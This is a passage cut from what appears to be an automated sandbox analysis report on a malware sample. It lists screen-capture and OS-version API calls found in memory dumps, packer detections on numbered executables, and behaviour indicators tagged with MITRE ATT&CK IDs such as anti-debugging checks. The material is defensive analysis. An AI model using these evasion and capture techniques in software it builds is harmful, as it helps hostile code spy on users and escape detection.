reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001924.00000000.138323.00500000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp")5c:T44d,Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; File: "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c.bin") Found reference to API "10073480282,7596,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:02.328",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "10081761788,7596,3024,,RtlGetVersion,NTDLL.dll,"00:36:02.328",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "10073785784,7596,3024,,RtlGetVersion,NTDLL.dll,"00:36:02.328",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "10081646792,7596,3025,,RtlGetNtProductType,NTDLL.dll,"00:36:02.328",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00003516.00000000.138410.02950000.00000004.mdmp") Found reference to API "3024,,RtlGetVersion,NTDLL.dl" (Indicator: "RtlGetVersion"; Source: "00000000-00005168.00000000.137868.03150000.00000004.mdmp")5d:T570," Microsoft\"\n \"4_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1696341280.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"8_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"12_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2107312156.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3923515127.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"5_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"10_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"4090316269.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1586824330.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a198aa228063c6f28003fdf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$6b","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a198aa228063c6f28003fdf"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"